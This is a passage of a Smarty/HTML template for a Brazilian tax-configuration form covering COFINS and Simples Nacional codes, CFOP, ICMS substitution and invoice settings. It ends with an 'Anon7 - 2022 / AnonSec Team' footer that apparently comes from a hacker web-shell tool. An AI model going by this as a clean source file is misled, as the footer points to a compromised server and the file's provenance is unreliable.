                                    <div class="form-group">
                                        <label for="cofins_st">{$_L['Tax situation (CST)']}</label>
                                        <select id="cofins_st" name="cofins_st" class="form-control" onchange="atualizarArrayRegras(5, 'st', this.value);
                                                    configCamposImpostoExcecao('COFINS', this.value, 'cofins_', '');">
                                            <option value="">{$_L['Select']}</option>
                                            <option {if $d['param_value']['COFINS']['st']==1 }selected{/if} value="01">01 - Operação tributável (alíquota normal, cumulativo ou não)</option>
                                            <option {if $d['param_value']['COFINS']['st']==2 }selected{/if} value="02">02 - Operação tributável (alíquota diferenciada)</option>
                                            <option {if $d['param_value']['COFINS']['st']==3 }selected{/if} value="03">03 - Operação tributável (alíquota por unidade de produto)</option>
                                            <option {if $d['param_value']['COFINS']['st']==4 }selected{/if} value="04">04 - Operação tributável (tributação monofásica, alíquota zero)</option>
                                            <option {if $d['param_value']['COFINS']['st']==5 }selected{/if} value="05">05 - Operação Tributável (Substituição Tributária)</option>
                                            <option {if $d['param_value']['COFINS']['st']==6 }selected{/if} value="06">06 - Operação tributável (alíquota zero)</option>
                                            <option {if $d['param_value']['COFINS']['st']==7 }selected{/if} value="07">07 - Operação isenta da contribuição</option>
                                            <option {if $d['param_value']['COFINS']['st']==8 }selected{/if} value="08">08 - Operação sem incidência da contribuição</option>
                                            <option {if $d['param_value']['COFINS']['st']==9 }selected{/if} value="09">09 - Operação com suspensão da contribuição</option>
                                            <option {if $d['param_value']['COFINS']['st']==49 }selected{/if} value="49">49 - Outras Operações de Saída</option>
                                            <option {if $d['param_value']['COFINS']['st']==50 }selected{/if} value="50">50 - Operação com Direito a Crédito - Vinculada Exclusivamente a Receita Tributada no Mercado Interno</option>
                                            <option {if $d['param_value']['COFINS']['st']==51 }selected{/if} value="51">51 - Operação com Direito a Crédito – Vinculada Exclusivamente a Receita Não Tributada no Mercado Interno</option>
                                            <option {if $d['param_value']['COFINS']['st']==52 }selected{/if} value="52">52 - Operação com Direito a Crédito - Vinculada Exclusivamente a Receita de Exportação</option>
                                            <option {if $d['param_value']['COFINS']['st']==53 }selected{/if} value="53">53 - Operação com Direito a Crédito - Vinculada a Receitas Tributadas e Não-Tributadas no Mercado Interno</option>
                                            <option {if $d['param_value']['COFINS']['st']==54 }selected{/if} value="54">54 - Operação com Direito a Crédito - Vinculada a Receitas Tributadas no Mercado Interno e de Exportação</option>
                                            <option {if $d['param_value']['COFINS']['st']==55 }selected{/if} value="55">55 - Operação com Direito a Crédito - Vinculada a Receitas Não-Tributadas no Mercado Interno e de Exportação</option>
                                            <option {if $d['param_value']['COFINS']['st']==56 }selected{/if} value="56">56 - Operação com Direito a Crédito - Vinculada a Receitas Tributadas e Não-Tributadas no Mercado Interno, e de Exportação</option>
                                            <option {if $d['param_value']['COFINS']['st']==60 }selected{/if} value="60">60 - Crédito Presumido - Operação de Aquisição Vinculada Exclusivamente a Receita Tributada no Mercado Interno</option>
                                            <option {if $d['param_value']['COFINS']['st']==61 }selected{/if} value="61">61 - Crédito Presumido - Operação de Aquisição Vinculada Exclusivamente a Receita Não-Tributada no Mercado Interno</option>
                                            <option {if $d['param_value']['COFINS']['st']==62 }selected{/if} value="62">62 - Crédito Presumido - Operação de Aquisição Vinculada Exclusivamente a Receita de Exportação</option>
                                            <option {if $d['param_value']['COFINS']['st']==63 }selected{/if} value="63">63 - Crédito Presumido - Operação de Aquisição Vinculada a Receitas Tributadas e Não-Tributadas no Mercado Interno</option>
                                            <option {if $d['param_value']['COFINS']['st']==64 }selected{/if} value="64">64 - Crédito Presumido - Operação de Aquisição Vinculada a Receitas Tributadas no Mercado Interno e de Exportação</option>
                                            <option {if $d['param_value']['COFINS']['st']==65 }selected{/if} value="65">65 - Crédito Presumido - Operação de Aquisição Vinculada a Receitas Não-Tributadas no Mercado Interno e de Exportação</option>
                                            <option {if $d['param_value']['COFINS']['st']==66 }selected{/if} value="66">66 - Crédito Presumido - Operação de Aquisição Vinculada a Receitas Tributadas e Não-Tributadas no Mercado Interno, e de Exportação</option>
                                            <option {if $d['param_value']['COFINS']['st']==67 }selected{/if} value="67">67 - Crédito Presumido - Outras Operações</option>
                                            <option {if $d['param_value']['COFINS']['st']==70 }selected{/if} value="70">70 - Operação de Aquisição sem Direito a Crédito</option>
                                            <option {if $d['param_value']['COFINS']['st']==71 }selected{/if} value="71">71 - Operação de Aquisição com Isenção</option>
                                            <option {if $d['param_value']['COFINS']['st']==72 }selected{/if} value="72">72 - Operação de Aquisição com Suspensão</option>
                                            <option {if $d['param_value']['COFINS']['st']==73 }selected{/if} value="73">73 - Operação de Aquisição a Alíquota Zero</option>
                                            <option {if $d['param_value']['COFINS']['st']==74 }selected{/if} value="74">74 - Operação de Aquisição sem Incidência da Contribuição</option>
                                            <option {if $d['param_value']['COFINS']['st']==75 }selected{/if} value="75">75 - Operação de Aquisição por Substituição Tributária</option>
                                            <option {if $d['param_value']['COFINS']['st']==98 }selected{/if} value="98">98 - Outras Operações de Entrada</option>
                                            <option {if $d['param_value']['COFINS']['st']==99 }selected{/if} value="99">99 - Outras operações</option>		
                                        </select>
                                    </div>

                                    <div class="row">
                                        <div class="col-md-4 form-group">
                                            <label for="cofins_aliquote">{$_L['Aliquote']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-qtde percent form-control" id="cofins_aliquota" name="cofins_aliquota" value="{$d['param_value']['COFINS']['aliquota']}" size="4">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>

                                        <div class="col-md-4 form-group">
                                            <label for="cofins_base">{$_L['Base']}</label>
                                            <div class="input-group">
                                                <input type="text" value="{$d['param_value']['COFINS']['base']}" class="edt-valor form-control percent4" id="cofins_base" name="cofins_base" size="5">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>
                                    </div>

                                    <div class="form-group">
                                        <label for="cofins_obs">{$_L['COFINS Observations']}</label>
                                        <input type="text" value="{$d['param_value']['COFINS']['obs']}" name="cofins_obs" id="cofins_obs" class="form-control">
                                    </div>

                                    <div >
                                        <div class="spacer20"></div>
                                        <h4 id="lbl_excecoes_imposto">{$_L['Exception COFINS']}</h4>
                                        <table class="table  table-hove table-bordered" id="exceptions_cofins">
                                            <thead>
                                                <tr>
                                                    <th class="col-md-2">{$_L['Destiny']}(s)</th>
                                                    <th class="col-md-6">{$_L['Product']}(s)</th>
                                                    <th class="col-md-3">{$_L['Tax situation (CST)']}</th>
                                                    <th  class="col-xs-1"></th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                                {if not empty($d['param_value']['COFINS']['exception'])}
                                                    {foreach $d['param_value']['COFINS']['exception'] as $e}

                                                        <tr>
                                                            <td class="edit_regra" data-type="cofins" id="exception_cofins_destiny_{$rowExceptionCofins}" data-row="{$rowExceptionCofins}">{$e['descriptionDestiny']}</td>
                                                            <td class="edit_regra" data-type="cofins" id="exception_cofins_products_{$rowExceptionCofins}" data-row="{$rowExceptionCofins}">{$e['descriptionProducts']}</td>
                                                            <td class="edit_regra" data-type="cofins" id="exception_cofins_st_{$rowExceptionCofins}"  data-row="{$rowExceptionCofins}">{$e['descriptionST']}</td>
                                                            <td class="nowrap">
                                                                <input type="hidden" class="" id="cofins_data_exception_{$rowExceptionCofins}" name="cofins_exception[]" value='{$e['json']}'></input>
                                                                <button class="btn btn-default btn-xs clonar_regra" data-row="{$rowExceptionCofins++}" data-type="cofins" type="button"  title="{$_L['Clone Rules']}"><i class="fa fa-fw fa-clone"></i></button>
                                                                <button class="btn btn-default btn-xs btn-danger remove_regra" type="button" ><i class="fa fa-fw fa-remove"></i>
                                                                </button>
                                                            </td>
                                                        </tr>
                                                    {/foreach}
                                                {/if}


                                            </tbody>
                                        </table>
                                    </div>
                                    <input type="hidden" id="rowExceptionCofins" value="{$rowExceptionCofins}">

                                    <a href="#" class="add_exception" data-title="{$_L['COFINS']}" data-type="cofins" data-table="exceptions_cofins" ><i class="fa fa-plus"></i> {$_L['Add exception']}</a>

                                </div>
                            </div>


                            <div id="simples" class="tab-pane fade in ">
                                <div class="cont-tributacao tributacao-simples">
                                    <div class="form-group top10">
                                        <label for="simples_st">{$_L['Operation status code in National Singles (CSOSN)']}</label>
                                        <select id="simples_st" name="simples_st" class="form-control">
                                            <option value="">{$_L['Select']}</option>
                                            <option {if $d['param_value']['SIMPLES']['st']==101 }selected{/if} value="101">101 - Tributada com permissão de crédito</option>
                                            <option {if $d['param_value']['SIMPLES']['st']==102 }selected{/if} value="102">102 - Tributada sem permissão de crédito</option>
                                            <option {if $d['param_value']['SIMPLES']['st']==103 }selected{/if} value="103">103 - Isenção do ICMS para faixa de receita bruta</option>
                                            <option {if $d['param_value']['SIMPLES']['st']==201 }selected{/if} value="201">201 - Tributada com permissão de crédito e com cobrança do ICMS por ST</option>
                                            <option {if $d['param_value']['SIMPLES']['st']==202 }selected{/if} value="202">202 - Tributada sem permissão de crédito e com cobrança do ICMS por ST</option>
                                            <option {if $d['param_value']['SIMPLES']['st']==203 }selected{/if} value="203">203 - Isenção do ICMS para faixa de receita bruta e com cobrança do ICMS por ST</option>
                                            <option {if $d['param_value']['SIMPLES']['st']==300 }selected{/if} value="300">300 - Imune</option>
                                            <option {if $d['param_value']['SIMPLES']['st']==400 }selected{/if} value="400">400 - Não tributada</option>
                                            <option {if $d['param_value']['SIMPLES']['st']==500 }selected{/if} value="500">500 - ICMS cobrado anteriormente por ST ou por antecipação</option>
                                            <option {if $d['param_value']['SIMPLES']['st']==900 }selected{/if} value="900">900 - Outros</option>	
                                        </select>
                                    </div>

                                    <div class="row">
                                        <div class="col-md-12 form-group">
                                            <label for="simples_cfop">CFOP <i class="fa fa-info-circle text-success" data-toggle="tooltip" data-placement="top" title="{$_L['Will the system fit the CFOP with? according to the origin and destination. Ex. ?.101 will correspond to 1.101']}"></i> </label>
                                            <select id="simples_cfop_icms" name="simples_cfop" class="form-control">
                                                <option value="">{$_L['Select']}</option>
                                                {foreach $listaCfop as $lc}
                                                    <option {if $d['param_value']['SIMPLES']['cfop']==$lc['code_cfop'] }selected{/if} value="{$lc['code_cfop']}">{$lc['code_cfop']} - {$lc['desc_cfop']}</option>
                                                {/foreach}
                                            </select>
                                        </div>


                                        <div class="col-md-4 form-group simples_aliquote hide">
                                            <label for="simples_aliquote">{$_L['Aliquote']}  {$_L['ICMS']}</label>
                                            <div class="input-group">
                                                <input value="{$d['param_value']['SIMPLES']['aliquota']}" type="text" class="form-control percent edt-qtde" id="simples_aliquota" name="simples_aliquota">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>

                                        <div class="col-md-4 form-group simples_base hide"> 
                                            <label for="simples_base"> {$_L['Base']}  {$_L['ICMS']}</label>
                                            <div class="input-group">
                                                <input type="text" value="{$d['param_value']['SIMPLES']['base']}" class="form-control edt-valor percent4" id="simples_base" name="simples_base">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="simples_possui_partilha_icms_interestadual">{$_L['ICMS Share Interstate']}</label>
                                            <select class="form-control" id="simples_possui_partilha_icms_interestadual" name="simples_possui_partilha_icms_interestadual">
                                                <option  {if $d['param_value']['SIMPLES']['possui_partilha_icms_interestadual']=='Y' }selected{/if}  value="Y">{$_L['Yes']}</option>
                                                <option  {if $d['param_value']['SIMPLES']['possui_partilha_icms_interestadual']=='N' }selected{/if} value="N">{$_L['No']}</option>
                                            </select>
                                            <p class="help-block">{$_L['ICMS for Destination UF']}</p>
                                        </div>
                                    </div>

                                    <div class="row simples_alqCredito hide">
                                        <div class="col-md-8 form-group simples_container-alqCredito">
                                            <label for="simples_alq_credito">{$_L['Applicable Rate of Credit Calculation']}</label>
                                            <div class="row">
                                                <div class="col-md-6">
                                                    <div class="input-group">
                                                        <input type="text" class="form-control edt-qtde percent" id="simples_alq_credito" value="{$d['param_value']['SIMPLES']['alq_credito']}" name="simples_alq_credito">
                                                        <span class="input-group-addon">%</span>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class=" col-md-12 form-group">
                                            <label for="simples_obs">{$_L['Simple Observations']}</label>
                                            <input type="text" value="{$d['param_value']['SIMPLES']['obs']}" name="simples_obs" id="simples_obs" class="form-control">
                                            <p class="help-block">
                                                {$_L['To display values ​​in observations, use the']}
                                                <a href="#" class="grey-link" onclick="$(this).hide();
                                                            $('#help-simples_observacoes').removeClass('hide');
                                                            return false;">variáveis disponíveis.</a>
                                                <span id="help-simples_observacoes" class="hide">{$_L['variables']} [VALOR_BASE_ICMS], [VALOR_BASE_DIFERIMENTO], [VALOR_DIFERIMENTO], [VALOR_CREDITO_ICMS], [ICMS_PRESUMIDO], [ALIQUOTA_CREDITO_ICMS], [NUMERO_CUPOM] e [DATA_CUPOM] {$_L['including the brackets.']}</span>
                                            </p>
                                        </div>
                                    </div>
                                </div>
                                <div id="simples_div_st" class="simples_st hide" style="">
                                    <h3 class="page-header" id="simples_lbl_substituicao_tributaria">{$_L['Tax Substitution']} <span class="simple500 hide">{$_L['previously held']}</span></h3>

                                    <div class="row">
                                        <div class="col-md-4 form-group simples_icms_st_alq hide" style="">
                                            <label for="simples_icms_st_alq">{$_L['Aliquote']} {$_L['ICMS']}</label>
                                            <div class="input-group">
                                                <input value="{$d['param_value']['SIMPLES']['icms_st_alq']}" type="text" class="form-control percent edt-qtde st" id="simples_icms_st_alq" name="simples_icms_st_alq">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                            <p class="help-block">&nbsp;</p>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="simples_icms_st_modBCST">{$_L['Method Calculation Base']}</label>
                                            <select class="form-control" id="simples_icms_st_modBCST" name="simples_icms_st_modBCST">
                                                <option value="0" {if $d['param_value']['SIMPLES']['icms_st_modBCST']=='0' }selected{/if}> {$_L['0 - Max Price Table']}</option>
                                                <option value="1" {if $d['param_value']['SIMPLES']['icms_st_modBCST']=='1' }selected{/if}> {$_L['1 - Negative List (value)']}</option>
                                                <option value="2" {if $d['param_value']['SIMPLES']['icms_st_modBCST']=='2' }selected{/if}> {$_L['2 - Positive List (value)']}</option>
                                                <option value="3" {if $d['param_value']['SIMPLES']['icms_st_modBCST']=='3' }selected{/if}> {$_L['3 - Neutral List (value)']}</option>
                                                <option value="4" {if $d['param_value']['SIMPLES']['icms_st_modBCST']=='4' }selected{/if}> {$_L['4 - Value Added Margin (%)']}</option>
                                                <option value="5" {if $d['param_value']['SIMPLES']['icms_st_modBCST']=='5' }selected{/if}> {$_L['5 - Fare (value)']}</option>
                                            </select>
                                            <p class="help-block">{$_L['ICMS for Destination UF']}</p>
                                        </div>
                                        <div class="col-md-4 form-group simples_icms_st_base hide" style="">
                                            <label for="simples_icms_st_base">{$_L['Calculation Base']} {$_L['ICMS']}</label>
                                            <div class="input-group">
                                                <input value="{$d['param_value']['SIMPLES']['icms_st_base']}" type="text" class="form-control percent4 edt-valor st" id="simples_icms_st_base" name="simples_icms_st_base">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                            <p class="help-block">&nbsp;</p>
                                        </div>

                                        <div class="col-md-4 form-group simples_icms_st_valor_adicionado hide" style="">
                                            <label for="simples_icms_st_valor_adicionado">{$_L['Additional Margin of ICMS']}</label>
                                            <div class="input-group">
                                                <input value="{$d['param_value']['SIMPLES']['icms_st_valor_adicionado']}" type="text" class="form-control percent edt-qtde st" id="simples_icms_st_valor_adicionado" name="simples_icms_st_valor_adicionado">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                            <p class="help-block">&nbsp;</p>
                                        </div>

                                        <div class="col-md-4 form-group simples_alqRetido hide" >
                                            <label for="simples_alqRetido">{$_L['Aliquote']} {$_L['ICMS']} {$_L['Retained']}</label>
                                            <div class="input-group">
                                                <input type="text" class="form-control percent edt-qtde ret" id="simples_alqRetido">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                            <p class="help-block">&nbsp;</p>
                                        </div>

                                        <div class="col-md-4 form-group simples_baseRetido hide" >
                                            <label for="simples_baseRetido">{$_L['Calculation Base']} {$_L['ICMS']} {$_L['Retained']}</label>
                                            <div class="input-group">
                                                <input type="text" class="form-control percent edt-qtde ret" id="simples_baseRetido">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                            <p class="help-block">&nbsp;</p>
                                        </div>


                                    </div>
                                </div>
                                <div >
                                    <div class="spacer20"></div>
                                    <h4 id="lbl_excecoes_imposto">{$_L['Exception SIMPLES']}</h4>
                                    <table class="table  table-hove table-bordered" id="exceptions_simples">
                                        <thead>
                                            <tr>
                                                <th class="col-md-2">{$_L['Destiny']}(s)</th>
                                                <th class="col-md-5">{$_L['Product']}(s)</th>
                                                <th class="col-md-1" >{$_L['CFOP']} </th>
                                                <th class="col-md-3">{$_L['Tax situation (CST)']}</th>
                                                <th  class="col-xs-1"></th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                            {if not empty($d['param_value']['SIMPLES']['exception'])}
                                                {foreach $d['param_value']['SIMPLES']['exception'] as $e}

                                                    <tr>
                                                        <td class="edit_regra" data-type="simples" id="exception_simples_destiny_{$rowExceptionSimples}" data-row="{$rowExceptionSimples}">{$e['descriptionDestiny']}</td>
                                                        <td class="edit_regra" data-type="simples" id="exception_simples_products_{$rowExceptionSimples}" data-row="{$rowExceptionSimples}">{$e['descriptionProducts']}</td>
                                                        <td class="edit_regra" data-type="simples" id="exception_simples_cfop_{$rowExceptionSimples}" data-row="{$rowExceptionSimples}" > {$e['simples_cfop']}</td>
                                                        <td class="edit_regra" data-type="simples" id="exception_simples_st_{$rowExceptionSimples}"  data-row="{$rowExceptionSimples}">{$e['descriptionST']}</td>
                                                        <td class="nowrap">
                                                            <input type="hidden" class="" id="simples_data_exception_{$rowExceptionSimples}" name="simples_exception[]" value='{$e['json']}'></input>
                                                            <button class="btn btn-default btn-xs clonar_regra" data-type="simples"  data-row="{$rowExceptionSimples++}" type="button"  title="Clonar Regra"><i class="fa fa-fw fa-clone"></i></button>
                                                            <button class="btn btn-default btn-xs btn-danger remove_regra" type="button" ><i class="fa fa-fw fa-remove"></i>
                                                            </button>
                                                        </td>
                                                    </tr>
                                                {/foreach}
                                            {/if}


                                        </tbody>
                                    </table>
                                </div>
                                <input type="hidden" id="rowExceptionSimples" value="{$rowExceptionSimples}">
                                <a href="#" class="add_exception" data-title="{$_L['SIMPLES']}" data-type="simples" data-table="exceptions_simples" ><i class="fa fa-plus"></i> {$_L['Add exception']}</a>

                            </div>

                            <div id="ca" class="tab-pane fade in ">
                                <div class="" id="div_outros">
                                    <div class="row top10">
                                        <div class="col-md-1 form-group">
                                            <label value="{$d['param_value']['CONFIG']['serie']}" for="serie">{$_L['Series']}</label>
                                            <input type="text" name="serie" id="serie" value="1" class="form-control">
                                        </div>

                                        <div class="col-md-3 form-group">
                                            <label for="consumidor">{$_L['Final costumer']}</label>
                                            <select name="consumidor" id="consumidor" class="form-control">
                                                <option {if $d['param_value']['CONFIG']['consumidor']=='Y' }selected{/if} value="Y">{$_L['Yes']}</option>
                                                <option {if $d['param_value']['CONFIG']['consumidor']=='N' }selected{/if}  value="N">{$_L['No']}</option>
                                            </select>
                                        </div>
                                    </div>

                                    <div class="row">
                                        <div class="col-md-4 form-group">
                                            <label for="faturada">{$_L['Generate Invoices']}</label>
                                            <select name="faturada" id="faturada" class="form-control">
                                                <option {if $d['param_value']['CONFIG']['faturada']=='Y' }selected{/if} value="Y">{$_L['Yes']}</option>
                                                <option {if $d['param_value']['CONFIG']['faturada']=='N' }selected{/if} value="N">{$_L['No']}</option>
                                            </select>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="expedicao">{$_L['Ship for shipment']}</label>
                                            <select name="expedicao" id="expedicao" class="form-control">
                                                <option {if $d['param_value']['CONFIG']['expedicao']=='Y' }selected{/if} value="Y">{$_L['Yes']}</option>
                                                <option {if $d['param_value']['CONFIG']['expedicao']=='N' }selected{/if} value="N">{$_L['No']}</option>
                                            </select>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="devolucao">{$_L['Return Operation']}</label>
                                            <select name="devolucao" id="devolucao" class="form-control">
                                                <option {if $d['param_value']['CONFIG']['devolucao']=='Y' }selected{/if} value="Y">{$_L['Yes']}</option>
                                                <option  {if $d['param_value']['CONFIG']['devolucao']=='N' }selected{/if} value="N">{$_L['No']}</option>
                                            </select>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="compra_produtor_rural">{$_L['Purchase of rural producer'] }</label>
                                            <select name="compra_produtor_rural" id="compra_produtor_rural" class="form-control">
                                                <option {if $d['param_value']['CONFIG']['compra_produtor_rural']=='Y' }selected{/if} value="Y">{$_L['Yes']}</option>
                                                <option {if $d['param_value']['CONFIG']['compra_produtor_rural']=='N' }selected{/if}  value="N" selected="">{$_L['No']}</option>
                                            </select>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="alqFunrural">{$_L['Funcional aliquot'] }</label>
                                            <div class="input-group">
                                                <input type="text"  name="alq_funrural" id="alq_funrural" value="{$d['param_value']['CONFIG']['alq_funrural']}" class="percent4 form-control">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="desconta_funrural">{$_L['Funrural discount of total invoiced']}</label>
                                            <select id="desconta_funrural" name="desconta_funrural" class="form-control">
                                                <option {if $d['param_value']['CONFIG']['desconta_funrural']=='Y' }selected{/if}  value="Y">{$_L['Yes']}</option>
                                                <option {if $d['param_value']['CONFIG']['desconta_funrural']=='N' }selected{/if} value="N" selected="">{$_L['No']}</option>
                                            </select>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="zonaFrancaManaus">{$_L['Sale to Free Zone of Manaus']}</label>
                                            <select name="zona_franca_manaus" id="zona_franca_manaus" class="form-control">
                                                <option value="N" {if $d['param_value']['CONFIG']['zona_franca_manaus']=='N' }selected{/if} >{$_L['No']}</option>
                                                <option value="Y" {if $d['param_value']['CONFIG']['zona_franca_manaus']=='Y' }selected{/if}>{$_L['Yes, with disclaimer for all products']}</option>
                                                <option value="P" {if $d['param_value']['CONFIG']['zona_franca_manaus']=='P' }selected{/if}>{$_L['Yes, with relief only for products of national origin']}</option>
                                            </select>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="soma_impostos_total_nota">{$_L['Adding import costs']}</label>
                                            <select name="soma_impostos_total_nota" id="soma_impostos_total_nota" class="form-control">
                                                <option value="Y" {if $d['param_value']['CONFIG']['soma_impostos_total_nota']=='Y' }selected{/if}>{$_L['Yes']}</option>
                                                <option value="N" {if $d['param_value']['CONFIG']['soma_impostos_total_nota']=='N' }selected{/if}>{$_L['No']}</option>
                                            </select>
                                            <p class="help-block">{$_L['Add ICMS, PIS, COFINS and customs expenses to the total note']}</p>
                                        </div>

                                        <div class="col-md-4 form-group">
                                            <label for="reducao_bcicms_st_ipi">{$_L['Reduction of ICMS-ST Calculation Base']}</label>
                                            <select name="reducao_bcicms_st_ipi" id="reducao_bcicms_st_ipi" class="form-control">
                                                <option value="P"  {if $d['param_value']['CONFIG']['reducao_bcicms_st_ipi']=='P' }selected{/if}>{$_L['Pattern']}</option>
                                                <option value="I"  {if $d['param_value']['CONFIG']['reducao_bcicms_st_ipi']=='I' }selected{/if}>{$_L['Before adding the IPI']}</option>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                            </div>


                            <div id="obs" class="tab-pane fade in ">
                                <div class="form-group top10">
                                    <label for="obs">{$_L['Standard notes for notes of this operation']}</label>
                                    <textarea name="obs" id="ca_obs" cols="80" rows="4" class="form-control">{$d['param_value']['OBS']['obs']}</textarea>
                                    <p class="help-block">
                                        {$_L['To display values ​​in observations, use the']}
                                        <a href="#" class="grey-link" onclick="$(this).hide();
                                                $('#help-observacoes-gerais').removeClass('hide'); return false;">{$_L['available variables.']}</a>
                                        <span id="help-observacoes-gerais" class="hide">{$_L['variables']}  [VALOR_BASE_ICMS], [VALOR_BASE_DIFERIMENTO], [VALOR_DIFERIMENTO], [VALOR_CREDITO_ICMS], [ICMS_PRESUMIDO], [ALIQUOTA_CREDITO_ICMS], [VALOR_ICMS_DESONERADO], [NUMERO_CUPOM], [DATA_CUPOM], [PERCENTUAL_PARTILHA_DESTINO], [VALOR_ICMS_PARTILHA_DESTINO], [VALOR_ICMS_PARTILHA_ORIGEM] e [VALOR_FCP_DESTINO] {$_L['including the brackets.']}</span>
                                    </p>
                                </div>

                            </div>
                        </div>
                        <div class="row" style="margin-top:20px">  
                            <div class=" col-md-12 form-group">
                                <div class="col-md-offset-2 col-lg-10">
                                    <button class="md-btn md-btn-primary waves-effect waves-light" type="submit" id="submit"><i class="fa fa-check"></i> {$_L['Save']}</button> | <a href="{$_url}nature_operation/list/">{$_L['Or Cancel']}</a>
                                </div>
                            </div>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>
{include file="sections/footer.tpl"}

Anon7 - 2022
AnonSec Team